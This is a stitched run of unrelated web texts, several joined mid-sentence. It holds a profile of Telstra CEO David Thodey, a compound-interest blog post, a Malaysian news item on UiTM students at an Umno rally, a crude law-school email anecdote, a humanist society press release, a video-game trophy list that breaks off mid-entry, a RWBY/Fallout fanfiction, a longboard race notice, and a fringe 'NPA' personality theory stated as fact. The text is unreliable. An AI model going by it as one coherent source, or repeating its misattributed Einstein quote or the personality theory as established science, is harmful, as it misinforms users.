But Thodey won't be swayed from his vision to boost profits and the share price by transforming Telstra into a world-class sales and marketing business.
"My vision for this company is to continue to be a key catalyst and provider of leading-edge technology solutions that really change the way people live and work," he says.
"And we have got to make sure the customer experience is good. We need to do a lot better at that. We have a long way to go, but we are going to get it right.
"I think it is about driving greater accountability in the organisation. It is about a culture of people being empowered to make decisions and being held accountable for them. It is about enabling people to really serve customers and not just pay them lip service."
Thodey is not one to make promises he can't keep.
This is a man who professes to believe in god and attends church every Sunday. Who never swears in public. Who doesn't smoke, gamble, rarely drinks and who is described by some of his staff as the only "nice boss" they have ever worked for.
Standing over six foot tall, the 56-year-old father of three has an almost gangly, slightly nerdy disposition. His suits aren't tailor-made like those of most top-20 chief executives.
When he is not travelling in a chauffeur-driven Statesman to and from the airport, Thodey still drives his humble Toyota Corolla over the Harbour Bridge into Telstra's George Street offices each morning he is in Sydney.
The rest of the week he is usually in Melbourne, but don't expect to see him travelling with the suits at the front of the plane.
"Yes, I do travel economy, although not always. I do get upgraded. But as a senior team we have decided it is probably appropriate for us to travel economy," he says.
"For where this company is at the moment and the change it is going through, I think it is appropriate that we take a little step to say we are all willing to get in behind what we have to do."
But don't ever call David Ingle Thodey a nice guy. What sounds like a compliment actually irks him.
"People say I am a nice guy, but that doesn't mean I am not absolutely committed to doing what I have to do to get the business right," he says.
His apparent defensiveness pinpoints a lingering doubt that many, and maybe even Thodey himself deep down, have about his ability to execute one of the toughest jobs in Australian business.
At the moment, the jury is out on some key questions.
Does he have the hard edge needed to turn around an underperforming monolith such as Telstra?
Is he too tolerant of poorly performing executives? Is he asking the wrong people for their advice?
And can he break down the long untouchable fiefdoms that the critics claim have left the company in a constant state of strategic paralysis?
Thodey has an important ally in chairman Catherine Livingstone, the longest-serving director on the board, a tireless worker and a skilled diplomat who has won back Canberra's respect for the telco.
But Livingstone is also seen by some as a control freak and micro-manager. Certainly she is serious and intense. It has been said that Thodey, who is not renowned for his humour, actually lightens up around her.
Asked whether this is the case, Thodey only leans back in his chair and laughs before launching into a laudatory response, one any smart chief executive delivers when confronted with a curly question about their chairman. Clearly he is well trained. "I think we are very lucky to have Catherine as chairman. She is doing a solid, very good job leading this company through significant change," he says with a dead bat.
Thodey has shown already that he is not frightened of sacking staff. Former Tabcorp executive Robert Nason is the hard man behind the unimaginatively named "Project New", which will see more than 6000 jobs cut over three years. Nason is also slashing 10 per cent of Telstra's 300-strong senior executive team to strip out more layers of bureaucracy.
And in late October Telstra revealed another 950 jobs would go, predominantly affecting executive and middle-management roles in capital city offices.
Importantly, those cuts will mean fewer people will have a say in decisions, accountabilities won't be duplicated and there will be less opportunity for staff to meddle or manually intervene in process.
Asked if he is a tough taskmaster, Thodey prefers to put it another way. "I think I am a fair taskmaster," he says.
"I am demanding in that I expect my people to be across the detail and I expect them to do what they are there to do."
So, what happens when they don't? For many chief executives in charge of a turnaround, it would be a case of ready, aim, fire. But Thodey sees it in far less emotive terms.
"Like anyone, I point the issue out and say it is not good enough. And I want it fixed."
On the specific issue of sacking people, he says: "I think it is very wrong to assume you can't take tough decisions but do it in a respectful way."
Or as one Thodey supporter puts it: "David will get rid of more people in his reign than Sol did, but without the thunder and lightning."
But one insider says Thodey prefers to "park" those who don't fit in with his plans instead of taking them on.
His elevation last year of former lawyer and bureaucrat Kate McKenzie to be Telstra's newly anointed chief marketing officer is quoted as a case in point.
At the time, the group's highly regarded media boss, Justin Milne -- who didn't suit Thodey's strategy -- had his reporting line changed. He decided to leave the company rather than report to McKenzie in her newly created role.
The closest Thodey came to a confrontation with an underperforming executive was with former consumer boss David Moffat.
Unusually, Thodey publicly criticised Moffat in management meetings and regularly highlighted the poor performance of the consumer division in presentations.
He made no attempt to hide his concern about Moffat's work. But again it was left to Moffat to leave, which he eventually did in September last year, taking with him a $1 million termination payment.
One of Thodey's great sayings is said to be: "It is what it is."
He explains it with a line which almost seems borrowed from the famous Serenity Prayer by the theologian Reinhold Niebuhr.
"Give me the strength to change the things I can and there are some things I can't change," Thodey says, seemingly paraphrasing a Niebuhr homily.
"It is about prioritisation. But it is not about acquiescence."
Doing his best to sound convincing, he lowers his voice. His affable manner becomes momentarily serious. "I am very, very -- in some ways -- single-minded about what I want to get done. While I would always respect people, I will not change from what I think is the right way to go," he says slowly and resolutely.
"It is what it is" also carries a secondary, arguably more powerful connotation.
It is about honesty, a trait that was missing at Telstra in the Trujillo era when people were frightened to speak out for fear of retribution.
"I think that I am conscious of calling it the way it is," Thodey says. "In large companies, sometimes the truth is not put on the table. I want people to talk about the reality of the company. So, if we are delivering bad customer service because of some bad decision made by somebody, I want people to talk about it. Have a culture where people can feel free to raise the issues. So I want it to be called the way it is, not what people want it to be. Or the way people planned it to be. I want to know the reality because that is the only way you can get a company that confronts its challenges and gets on and fixes things."
In this context, Thodey recognises the power of incentivising staff. In July, he used an internal video blog to inform 30,000 employees that all were in line for a $1000-plus bonus for hitting his short-term customer service targets. "We want an environment where there is good, open, frank communication. There is not interpretation of messages and there is good flow up and down," he says.
And he is wary that many are still recovering from the Trujillo era, when 12,000 jobs were slashed in less than five years and staff were forced to implement a massive IT revamp that is still to deliver dividends.
"I think that there is a degree of change fatigue in the company and I think that is something we need to be very conscious of. I think there is only so much that people can actually take on. And they have got to know that there is something better in the end as well," he says.
"In a business like ours, revolution can create too much change too quickly. If you are a big operating unit like us, you have to keep a consistency and a continual improvement."
Project New, he says, is about driving true systemic change by "mopping up" a lot of things that should never have been. Like the layers of bureaucracy that have been allowed to build or the quantitative rather than qualitative metrics on which managers and staff have historically been judged.
So does he get frustrated? Those who know him well say he seems to have aged considerably since taking on the job and has become a little more short-tempered. It is little wonder, given gaffes like the one last month that saw 220,000 letters with incorrect addresses mailed to customers containing the names, phone numbers and phone plans of other customers.
Even Thodey's public comments have become more emotive of late. He recently said Telstra had to change or it would "die".
"Yes I do (get frustrated), Yes I do. I think anybody would," he says. "Because you have a vision and a commitment to what this company can be and how it can be better. And you see things that get in the way, be they external or internal. And you do get frustrated. But that just heightens my resolve to get it done. It stimulates me to be even more demanding."
Interestingly, Thodey says the Telstra of the past too often over-reacted to situations and attempted to solve the wrong issue.
"Often an issue gets manifested in a certain way and the root cause may be way down the organisation. And sometimes you have to peel the onion a few times to get down there -- to find out what the real issue is."
One example he gives is poor customer service from the call centres. "Why is that? Is it because the people don't care? Is it because the systems aren't good enough. Or are we setting the metrics the wrong way in terms of how they are incentivised and motivated? It could be one or all three. So you need to spend time to make sure that if you are going to put solutions in place that you are really getting to the right issue," he says.
"I would say a lot of my job at the moment is doing that -- to ensure people have done the hard yards of good analytics to get to the real reasons why. For too long there has been, I think, people not saying what the real issues are and then sometimes, maybe, glossing over issues and not delving down."
Thodey has seen the worst of it himself. And not just on the 1300 phone lines.
Even his son and two daughters, now in their 20s, have been caught up in the migration from the old legacy billing system to the new. "I read about poor customer experiences every day. I read every letter that comes into my office," he says.
It is a mean feat for one of the busiest chief executives in the country. But Thodey has always been this way. It is the same with email, which he replies to religiously.
If he can't read a letter on the day it is received, he ensures he gets to it inside three days. He then personally replies to 40 per cent of them.
The rest are handled by a dedicated team, who are charged with following through to ensure the issue is resolved.
But sometimes it can backfire.
Last year a resident of Hall, outside Canberra, decided to air his grievances directly to Thodey about his problems with getting a residential internet service to his home.
Thodey personally intervened in the matter, but instead of resolving it, the correspondence was leaked to the media, an offer of compensation was rejected and the situation became a stalemate.
Those who know him well say the experience highlighted his achilles heel -- that sometimes Thodey can be his own worst enemy.
But others see his caring, sharing style as a positive.
"He is honest, open and passionate in believing in Telstra," says Wavestone Capital fund manager Catherine Alfrey, who has been a long-term investor in Telstra at Wavestone and before that at Colonial First State.
"He is approachable and if you are going to transform yourself into a sales and marketing organisation, he is the type of person you need in charge."
Thodey was born in Perth to New Zealand parents. When he was 10, his father died and the family moved back across the Tasman where he completed his schooling.
He then studied at Victoria University in Wellington, attaining a Bachelor of Arts in Anthropology and English.
There he also played rugby union and became a supporter of the national team, the All Blacks.
He still follows rugby today, although he claims his passion for the All Blacks has "waned a bit" over the years as he has also developed an affinity with their arch-rivals the Wallabies.
His corporate career started at IBM, where he was employed as a systems engineer. He spent 22 years there in various sales, marketing and communications roles and became chief executive of IBM Australia-New Zealand in 1999.
There he was noted for being calm, diplomatic and a salesman at heart.
"The biggest thing he did, and I don't think it's been matched by any previous or subsequent IBM MD, was that he was always approachable and was very passionate about business partners," former Kaz Group owner and IT entrepreneur Peter Kazacos once said. Kaz, an IT services provider, was eventually bought by Telstra in 2004.
"He has got a good way of getting things resolved," Kazacos says. "You'd rarely see David lose his cool, but you would know when he was upset."
It was his marketing savvy that saw Thodey recruited to Telstra by its then chief executive, Ziggy Switkowski, the predecessor of Trujillo.
Thodey joined Telstra in April 2001 as group managing director of Telstra Mobiles. He was then appointed to the position of group managing director Telstra Enterprise and Government in December 2002 and was responsible for the company's corporate, government and large business customers in Australia, before he became chief executive last year.
In April 2008, before he was considered for the Telstra top job, he also accepted an invitation to be chairman of the cash-strapped Basketball Australia for two years.
There he oversaw the intregration of the National Basketball League with the various state associations. But why basketball?
"I played social basketball till I was about 28-29. I enjoy going to a game of basketball and I have known a number of people involved in basketball," Thodey says.
"It was a great challenge and I enjoyed the challenge of trying to bring together two quite different groups of people to build something better from it. I think we got through that program. They are moving to a new stage to really bring the states closer into the NBL game. I found it very satisfying." He is a proud Sydney Kings supporter.
He is also a jogger, rising at around 4.30 each morning for a quick 15-20 minute trot around the streets near his home on Sydney's lower North Shore. For the past two months the run has slowed to a walk because of a knee injury.
"I enjoy just a bit of time out to think. When you are running you get into a nice rhythm. It clears the mind. I need to do exercise. It just helps me keep a perspective on things and I enjoy getting outside," he says.
Thodey is a stickler for routine. At IBM, he would never miss a meeting -- even if it was a conference call at 2am.
But organisation is paramount, because his diary is, unsurprisingly, packed.
Our interview time is cut in half at the last minute, but the shorter duration is aided by one strict rule of engagement -- no questions about the NBN.
In his business-like manner he decides we should sit at a desk in an adjacent meeting room rather than on the comfortable-looking leather couches in his office, which boast stunning views west to the Blue Mountains beyond his book collection on the windowsill.
Perhaps he just doesn't want to disturb the peace. His office and desk are immaculately neat.
There are few signs of personal paraphernalia, just a digital photo frame that is turned off and two miniature Kombi van models from the famous Big Pond advertisements. A big digital clock hangs on the wall.
On the desk sits a BlackBerry, two iPhones and a T-Touch, the latest Android-powered touchscreen tablet device that was only released a week before our interview.
But unlike his predecessor, who would regularly carry the newest and best gadgets and boast about them, Thodey is not a technology junkie.
"I use all the technology because, in my role, I need to understand it to understand what is working and what is not. I am not a junkie for it," he says.
The Thodey household boasts a wireless network, six PCs, a T-Hub phone and is fully equipped with IPTV (Internet Protocol Television).
It also has a high-definition videoconferencing facility, a legacy of his time as head of enterprise and government.
But even then everything isn't right. "What I have not been able to do and what I think we all would like to do is how you interconnect all that so it is simple and it is not complicated and it is easy to manage. That is what I think the holy grail is for everyone at home," he says.
While he might work long hours, Thodey makes sure he takes his holidays.
An avid reader, he also enjoys hiking with his family and some old university friends, mainly in New Zealand, around the Southern Alps.
In Christmas 2008 they spent a week and a half in the Mount Aspiring National Park, part of the Wahipounamu-Southwest New Zealand World Heritage area.
Last Easter they walked the Dingle Burn track along the northern head of Lake Hawea.
"I enjoy the mountains. I enjoy the grandeur and the scale," he says.
Two weeks away allows him to turn off work.
"If I am away for a week it is very hard to completely turn off. If I am away for a couple of weeks I can do it. I am not too bad at that."
But the Easter holiday is now a distant memory. A massive job lies ahead. And for the moment, Thodey is relishing the challenge.
"I love work. I love Telstra. So it is not difficult for me to keep going."
But for frustrated Telstra shareholders and customers, the clock is ticking.
Setting the agenda for Australia's $150BN agribusiness sector The program for Australia's premier agribusiness conference - The Global Food Forum - is set. Hear from more than 30 industry leaders including PepsiCo's CEO, Danny Celoni, Jayne Hrdlicka, CEO of A2 Milk Company, Barry Irvin, Executive Chairman, Bega Cheese and Costco's Managing Director, Patrick Noone. Sheraton Grand Sydney Hyde Park Book NowAs Einstein said, “Compound interest is the most powerful force in the universe.” Unfortunately most people don’t harness it’s power. The greatest power of compound interest is time. As the proverb says, “the best time to plant a tree is 20 years ago, the 2nd best time is now.”
For example, imagine you’re a bright young 23 year old recent college graduate starting out in your new career. Imagine that you decide that with all your new found wealth you will start putting $3,000 in your retirement plan each year until you retire at 63. Over that timeframe you would have invested $123,000, not bad. However, invested at an average rate of return of 7% you would be sitting on approximately $690,000 at 63, that’s a little over five and a half times the amount that you invested.
Now, imagine that you’re a little older. You haven’t started saving for retirement yet and in a panic decide that NOW is the time. In order to earn the same $690,000 by age 63 can you guess how much you have to save each year? Approximately $14,500! Maybe it’s easier to save more later in life, but overall you will have to save roughly $300,000, vs. $123,000 if you started saving $3,000 per year 20 years earlier.
This isn’t shocking news to most people. However, most people are also on the other side of the compound interest equation, paying others compound interest on credit cards and car loans, rather than saving and benefiting from their own compound growth. The bottom line is that you need to stop putting off saving as so many people are. If you didn’t plant your tree 20 years ago then the second best time is now, whenever now is. If your a young adult, anything that you can save now will payoff many times over later in life.
Need to find some extra money? Read 7 Money Saving Tips – Use These Ideas and Your Money Problems WILL be Solved!KUALA LUMPUR: More than 1,000 UiTM students were brought to the Bukit Jalil National Stadium here under a “voluntary patriotism” programme to participate in Umno’s 71st anniversary celebration today.
Some of them were excited to be there, as they admitted to FMT, feeling upbeat about being among the “volunteers” for the event.
They said they arrived at the venue as early as 11am and were told to make the event “more lively”.
FMT spoke to a group of muamalat (Islamic finance) degree students who said they were here as part of the requirements for their co-curricular module at the public university.
“There are about 1,000 of us. We were driven here in a bus from the Shah Alam UiTM,” said the group’s spokesperson, who wanted to be known only as Syida.
“We had to volunteer at the Umno sports event for the past couple of days. Today, our duty is to make the event livelier.”
Syida, 22, added that they were also provided with free food all day long. And once the event ends, they will receive a “participation certificate”.
The university’s choir team, none of whom wished to be named, said about 80 members of the team were at Bukit Jalil today.
“We’re here to sing Negaraku (the national anthem) on the stage,” they said.
Earlier today, PKR Youth deputy chief Dr Afif Bahardin said a parent had sent a WhatsApp message with a photo of a circular making it mandatory for all students of Shah Alam UiTM to participate in a “voluntary patriotism” activity at Bukit Jalil today.
Similar circulars were said to be issued by other UiTM campuses in the country.
Afif then urged UiTM vice-chancellor Hassan Said to issue a clarification on the gatherings and whether they constituted “organised efforts to mobilise and manipulate the students”.
But a former vice-chancellor of UiTM, Prof Emeritus Sahol Hamid Abu Bakar, told FMT today that Umno had the right to ask the university to mobilise its students.
He pointed out that the university was created by Umno for Malays and Bumiputeras.
“It is, therefore, not wrong for Umno to ask UiTM to send its students (for the party’s celebrations). It’s a learning process, part of the knowledge they should have.
“The origins of UiTM should be made known to its students.
“UiTM is a university for Malays and Bumis (Bumiputeras). Umno is a Malay party.
“So, it’s logical it (the rally) should be attended by Malay students.”
FMT is still awaiting UiTM’s response.You know how cars can be equipped with an ignition interlock device that prevents the engine from being started if the driver is intoxicated? Can we get one of those thingies for the personal computer, Blackberry, or any other device people can use to send email? Because I’m pretty sure a Northwestern Law student could have used a little technological warning before she logged on to her email this weekend.
Over the weekend we received an email that was (I can only assume) intended for an officer on the Northwestern Student Bar Association. But it was accidentally sent out to the entire NU law school student body. Whoops.
These are the things that happen when you try to email people at 12:30 on Friday night/Saturday morning….
When we usually talk about Northwestern’s SBA, we’re talking about something ridiculous that the organization is up to. But this time the SBA just sent out a perfectly innocuous email to the student body:
The SBA executive board will hold office hours in the SBA office… on [Tuesdays and Thursdays]. Feel free to stop by with any questions or concerns. In a lot of cases it’s easier for us to have a face-to-face conversation with you than to go through a back and forth email exchange. (That said, you can also always drop us a line about anything at our individual email addresses or [redacted].)
It turns out that one lady wildcat wanted to do a little more than have a face-to-face chat:
Sent: Saturday, September 25, 2010 12:29 AM
To: [All Law Students] @LISTSERV.IT.NORTHWESTERN.EDU Hey [SBA Guy], So, I understand that the SBA office is the best place to have face-to-face convos. What about hand to weiner convos? teheheheheheheehehe Love, [Lady Who Likes Giving Hand Jobs]
Tehehe indeed. But hey, it could have been worse — remember the clueless law student at American University who forgot to close down her sexy gchats before leaving a public computer terminal?
I have a number of questions for this NU student (many of which I already know the answer to but can’t publish). From the email, it seems like the lady knows the SBA guy personally (she referred to him with a colloquial nickname). You wonder if they’ve had hand-to-wiener conversations before? And you wonder if, “but for” the mass email, future hand-to-wiener conversations would have taken place in the SBA’s offices?
But most of all, you wonder if the SBA guy has a girlfriend in the law school who never quite understood why her boyfriend was spending so much time on “SBA-related” activities. I hope, for his sake, that he hasn’t been having “conversations” out of turn.
In any event, while I’m sure this Northwestern lady is mortified, it’s actually a pretty low-impact way to learn a lesson about the “reply-all” button: DON’T EVER PRESS IT. Today, it’s a random email at 12:30 in the morning; tomorrow, when you have a job and a career, it could be so much worse.
But probably not as funny.
Earlier: The PC Police Ride Strong at Northwestern
Kids These Days: Or, Why You Should Always Sign Out of a Public ComputerA press release from the University of Edinburgh Humanist Society:
EUSA Rejects Secularism
• Edinburgh University Students Association last night failed to endorse a motion to ensure equality for students of all beliefs, whether religious or not.
• Students recently passed “EUSA is a Feminist”, but last night “felt uncomfortable” voting in favour of “EUSA is a Secularist”.
Last night (27/02/14) Edinburgh University Students Association (EUSA) failed to endorse a motion to bring about equality for students of all beliefs, whether religious or not.
Echoing a move by EUSA’s Vice President Services, who put forward a successful motion in November 2013 to say that “EUSA is a Feminist”, the University of Edinburgh Humanist Society (HumSoc) submitted a motion to recognise that “EUSA is a Secularist”.
The student union’s failure to pass this motion comes only weeks after a motion to secure a ban on enforced segregation in EUSA venues – also submitted by HumSoc – was rejected. After this previous session, on February 6th, one member of the HumSoc committee was labelled “openly Islamophobic”.
Speaking after last night’s meeting, HumSoc president, Luke Hecht said, “This motion was an attempt to formalise EUSA’s secular character and to provide a basis for actively promoting secularism to students, and to wider society. Members of the student council suggested that EUSA was already secular, but that formalising it was unnecessary and could make religious students feel uncomfortable.”
“This is unfortunate, as secularism is about guaranteeing equality and protecting the rights of those of minority beliefs, and those of none.”
HumSoc secretary, Ian Scott, who proposed the motion, said, “It’s deeply disappointing that student council chose not support our call for EUSA to explicitly endorse secularism, and to promote itself as a secularist organisation. Ours was modelled on a previous motion, “EUSA is a Feminist”, which passed without issue. This demonstrates that student council did not take issue with the language of motion itself, but that they voted differently specifically because of the issue of secularism. That students feel unable to formally endorse freedom of belief is highly troubling.”Enjoy Your Powers
Collect all trophies
5.7%
Very Rare 30.07%
Uncommon
Unstoppable
Finish the game on Expert difficulty
7.1%
Very Rare 32.37%
Uncommon
Sacrifice
Risk your freedom to protect those you care about
79.2%
Common 88.43%
Common
Ruthless
Look out for yourself, no matter the consequences
38.9%
Rare 57.22%
Common
Temperance
Practice self-control
52.7%
Common 72.11%
Common
Malice
Get them before they get you
25.5%
Rare 46.99%
Uncommon
Courage
Stand up for the helpless
44.7%
Rare 66.23%
Common
Contempt
Don't fear the weak
23.1%
Rare 44.30%
Uncommon
Mercy
Everyone deserves a second chance
39.8%
Rare 63.02%
Common
Revenge
An eye for an eye, a tooth for a tooth
22.4%
Rare 43.52%
Uncommon
Justice
Expose the corruption of the powerful
39.8%
Rare 62.93%
Common
Dominance
Show the world that nobody can protect them
21.1%
Rare 42.73%
Uncommon
Reconciliation
Finish the story with Good Karma
38.5%
Rare 62.37%
Common
Rebellion
Finish the story with Evil Karma
20.7%
Rare 42.51%
Uncommon
Everybody Out
Rescue 10 suspects from suspicion pens
50.7%
Common 71.74%
Common
Spin-off
Beat down 10 sign twirlers
9.6%
Very Rare 36.09%
Uncommon
Everyone's a Critic
Take out 10 street musicians
10.1%
Very Rare 36.98%
Uncommon
Just Say No
Bust 10 drug dealers
44.0%
Rare 67.56%
Common
Freedom of Speech
Disrupt 10 activist rallies
26.7%
Rare 50.04%
Common
What Did You Call Me?
Kill 10 obnoxious Akuran gang members
15.2%
Rare 40.07%
Uncommon
Someone Your Own Size
Rescue 10 escaped conduits from angry mobs
28.0%
Rare 54.37%
Common
Walk It Off
Heal 10 wounded civilians
60.8%
Common 77.44%
Common
Kicking and Screaming
Finish off 10 wounded enemies or civilians
42.7%
Rare 58.68%
Common
True Hero
Achieve Level 5 Good Karma
29.8%
Rare 56.63%
Common
Infamous
Achieve Level 5 Evil Karma
20.0%
Rare 42.85%
Uncommon
Bweep! Bweep! Bweep!
Collect half the Blast Shards
39.8%
Rare 64.88%
Common
Shardcore
Collect all the Blast Shards
21.8%
Rare 50.52%
Common
Nothing To See Here
Destroy half the D.U.P. security cameras
40.7%
Rare 65.15%
Common
Blinded
Destroy all of the D.U.P. security cameras
23.2 |
- Fumbling In the Dark
"Blake. What a coincidence meeting you here." It was clear to her from his tone that this was anything but a coincidence. Even without the tone, the idea that Markus, of all people, was in a café that Blake frequented was ridiculous.
She frequented the café because she knew the owners were friendly to Faunus. This meant that the "better sort" typically avoided this place. Blake would have had a hard time deciding who was less likely to be here, Weiss or him.
"Markus. This is one of the last places I would expect to find you," she said almost questioningly.
She sat down across from him. Her natural curiosity insisted that she discovered why exactly he would track her down.
"You look better," he said as they received their respective drinks.
Blake furrowed her brow slightly, momentarily confused as to what he meant by that. Her confusion cleared when she remember he had last seen her.
"Yeah, I started taking things more slowly after some advice from Yang."
"Yang? I wouldn't think of her as the one to advise people to 'take it slow'," he said.
It seemed to be an attempt by him to keep the conversation light. As Blake looked at him, he seemed to look well, worse. He had dark rings and deep bags under his eyes. The eyes themselves were slightly bloodshot yet they held a fierce energy. Blake recognised the symptoms of that which she was all too well acquainted to. And Blake had a sneaking suspicion why he was sleep deprived.
"Markus. What is this about?" she asked bluntly.
"I presume that you have continued in your 'activities' despite the fact that a certain 'criminal mastermind' has been apprehended."
"Of course," she said. Blake was not entirely sure why he was asking but she did not like where she thought this was headed.
"Recently, I have been searching for any information I could find about a certain organization." Blake understood what he was saying. As they were in a relatively public place, talking about terrorist organizations would not be the best idea. Still, it sounded all too familiar.
"Did you find anything?" she ventured.
"Nothing actionable. That's why I came to you."
"I haven't gotten anything concrete yet either. If I had, you would have known," she said defeatedly.
Markus exhaled and sat back. Evidently both of them had hit dead ends. Scratch that, it wasn't that they had hit dead ends, worse than that, they had utterly failed to find the trail.
"There was one thing I got, a name."
Blake was immediately panicking internally.
"Adam Taurus. Supposedly a person of importance in this organization. Is that helpful?"
"Why do you think that I would know him?", said Blake far too quickly and far too defensively. She realised her mistake. She had attempted to prepare a response to his predicted question and had accidentally incriminated herself. The question was a ridiculous one anyway. She used to in the White Fang. It was only natural that one would assume she knew things.
Blake realised that she was a really bad liar. A major inconvenience for someone with many secrets. A potentially deadly one.
Markus, merely raised his eyebrow at this. Blake, somewhat flustered, tried to use some on Yang's rhetoric against him. He was doing what she had done: obsessing over the White Fang.
"You don't look so good."
"What?" Markus seemed genuinely taken aback by this. Evidently he had not noticed his condition.
"You know, the whole dark rings around bloodshot eyes thing. It's not healthy."
"I never really noticed. Besides, I'm used to it."
"Sleep deprivation isn't healthy; you'll wear yourself out."
"So what, you want me to'slow down'? Time is not a luxury I possess."
"It's not a luxury, it's a necessity," Blake recited.
"That's true." His agreement threw her off. Just as it was intended to. "And it must therefore be used to maximum effectiveness. Sleeping does not progress my goals. Don't worry about me Blake, I can take care of myself. Now," he said, leaning forward and steepling his fingers, "who is Adam Taurus?"
"You and Pyrrha fought him," said Blake finally, "He was my mentor, a long time ago. And before you ask, no I don't know where he is."
"I see," said Markus, sounding very tired all of a sudden. Blake was slightly concerned as he was typically a very reserved person.
Abruptly, he stood. "Very well, I will keep you updated if I find anything. I expect you to do the same."
"Of course," said Blake reflexively.
"It's been a pleasure," he said before leaving. Blake exhaled and sank deeper into her seat. That had been an utter failure on multiple levels.
For the second time in as many days, the Courier was feeling the pain of a total defeat, something which he did not feel often. He had nothing. Absolutely nothing. No way to find the White Fang, not a even a way to find a way to find the White Fang. All that basically meant that was that he did not have a snowball's chance in hell of finding out even the remotest inkling of their plans or who was holding the reigns. So, in the meantime, he was reduced to preparing for an unspecified threat at an unspecified time.
There was at least one good thing that had happened. Well, two, more accurately. According to the scroll tab on his Pip-boy, he had two messages. One from the Think Tank, and one from Pyrrha. He opened the one from the Think Tank first. Finally, some good news. It was the schematics for the artillery.
The device was a thing of beauty. The Courier was almost equally impressed with the Think Tank's ability to so quickly adapt to the technology of the Scroll. He sent off orders for a decent amount of the components of the weapons to be built and then assembled at a different location by a fully automated assembly line. Unfortunately the strategic positioning of the launchers would necessitate the involvement of humans. He would just give the idea that they were being moved to locations for sale to Atlas. In the specifications, he ensured that the electronics would be attuned to the frequency of his laser detonator.
The actual design of the launcher was a testament to the brilliant madness that was the Think Tank. It was essentially the back of the standard mobile rocket artillery of the pre-war military, except shaped conically. The barrels that held the various missiles formed a huge cone shape that blinked with numerous lights and wires connecting them. These "pods" were reloaded by a robot that was attached. The Courier ensured that there was a more than sufficient stockpile of ammunition with each of the weapons. It was a tactical weapon, incapable of a rate of fire comparable to that of gun artillery. Instead, it delivered a singular devastating salvo on a precision target.
The missiles themselves had been designed by the Think Tank. They were a veritable bouquet of death, flavored in napalm, white phosphorous, and various kinds of Dust. The presence of the first two made the Courier hesitant to use it on human (or Faunus) targets, especially with any of his team present. Both of those were a nasty way to go.
The Courier made a mental note to create some simple gun artillery for helping to contain the Grimm threat. He could distribute that, and potentially create a more advanced model that he would keep hidden until it was necessary. If the war that's going to break out was between kingdoms, he wanted to make sure only his side got them. He sent the order to the Think Tank.
Create self propelled howitzer. Must be non nuclear. With it, he sent a stolen schematic for the German Panzerhaubitze 2000 as an example of what he was looking for. Knowing the Think Tank, they would likely try to one-up it. He could handle the simpler version.
Of course, then the Courier had to deal with his social obligations. And therefore, after sending orders to manufacture rocket artillery and hide them throughout the world, he read Pyrrha's message.City Fest is how we know its summer. Its an amazing youth oriented event that is the beginning of a month of none stop events.
The 4rd Annual Longboard Race at Cityfest is going to be the best. Adding to the longboard race will be a boarder-x obstacle course with new obstacles, learn to stop sessions for new and improving skaters and skate-carnival games from highest ollie and hippy jump to longest slide.
CASH AND SWAG PRIZES
REGISTRATION:
Registration and Waivers – 10am – May 7th – at the Lonsdale Skate Park
$5 registration fee
EVENT:
May 7th, 2015
Registration and Waivers – 10am
Riders Meeting – 11am
Start – 12pm
Podiums – 5pm
Check out the 2015 City Fest video:
WAIVERS:
Must fill out a Waiver form (Pick up on the day of or prior at The Boardroom on Lonsdale Ave or Flatspot Longboard Shop 112 east Pender Street)
Skaters 18 and under must have the waiver signed by their parent or legal guardian.
*Must wear a helmet to compete and gloves. Extra will be made available on request.
Facebook Event HERE
ENTER FULL STORE
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RelatedNPA personality theory
A.M. Benis, Sc.D., M.D.
The NPA model
Here is the NPA theory of personality in a nutshell:
The theory was developed on the basis of concepts put forth over fifty years ago by German-American psychiatrist Karen Horney. According to the theory, there are three major, genetically determined, character traits that form the basis of personality. The traits are sanguinity (N), perfectionism (P) and aggression (A). The traits are multifaceted, or in formal terms "dependent on pleiotropic genes".
Sanguinity (N) is the trait of sociability. Individuals with the trait tend to be prone to flushing, blushing, tearfulness, and they smile easily in social circumstances. In the extreme, it is a "search for glory", and individuals may display vanity, exhibitionism and show overt narcissistic behavior. Individuals having trait N are called "sanguine" types and sometimes, appropriately, "narcissistic" types.
Aggression (A) is the well-known trait of competitiveness, often physical in nature. Individuals having the A trait (but lacking the N trait) tend to be inhibited in sociability and in flushing, blushing, tearfulness and smiling. In the extreme, the trait is a "search for power", and individuals may display physical confrontation, pugnacity and show overtly sadistic behavior. Individuals with the trait of aggression instinctively form "pecking orders". Individuals having trait A but lacking trait N are called "non-sanguine" types.
Perfectionism (P) is a trait that may or may not be present in a given individual. It may be thought of as modulating the traits N and A. Individuals having the P trait tend to value order, neatness and symmetry, and may be prone to repetitive mannerisms. In the extreme, the trait may be the cause of obsessive-compulsive or autistic-like behavior that may overwhelm other character traits. Individuals lacking trait P are called "non-perfectionistic".
Traits A and N are associated with rage reactions, namely the classic "aggressive-vindictive rage" (A rage) associated with pallor in individuals of light skin color, and the florid "narcissistic rage" (N rage) associated with sanguinity. The P trait is not associated with a rage reaction.
The traits A and N form the basis of human ambition, namely the desire to achieve power and glory, respectively.
An important result is that the model produces a limited number of discrete character types, according to how the three traits are assorted, and whether the traits are present, absent, or incompletely expressed. This produces three main categories of character types: 1) Dominant types, 2) Passive Aggressive types and 3) Borderline types.
Dominant types
Considering the case where all three traits are either absent or fully expressed, we obtain what we call "Dominant types":
N sanguine
NP sanguine perfectionistic
NA sanguine aggressive
NPA sanguine perfectionistic aggressive
PA non-sanguine perfectionistic aggressive
A non-sanguine aggressive
Note that there are four sanguine types and two non-sanguine types, as well as four aggressive types and two non-aggressive types.
Passive Aggressive types
If trait A is incompletely expressed, we obtain the category of Passive Aggressive types. The term "Passive Aggressive" here simply means that the trait of aggression is partially inhibited. We append one minus sign (–) or two minus signs (=) to the letter A, according to whether trait A is only partially or profoundly inhibited:
NA– NA= sanguine passive aggressive
NPA– NPA= sanguine perfectionistic passive aggressive
PA– PA= non-sanguine perfectionistic passive aggressive
A– A= non-sanguine passive aggressive
Passive Aggressive types may be prone to submissive behavior. For purposes of identification, we call the A= types "compliant types" and the A– types "non-compliant types". In dominant-submissive relationships, non-compliant types can play either the dominant or submissive role, depending on the partner, while compliant types will always seek to play the submissive role.
Borderline types
Borderline types are those in whom neither trait N nor trait A is fully expressed. These would include the non-sanguine Passive Aggressive types (A– and PA–), as well as the non-aggressive types (N– and N–P).
As with trait A, we append one minus sign (–) or two minus signs (=) to the letter N, according to whether the trait is only partially or profoundly inhibited:
In individuals having just a single trait (either N or A) that is profoundly suppressed (like PA= or N=), then the affected individual would be severely compromised or mentally ill, and the NPA model merges with one of mental illness, in particular, with schizophrenia. That is, it is not possible for a socially well-adjusted individual to lack function of both genetic traits N and A.
Infertility
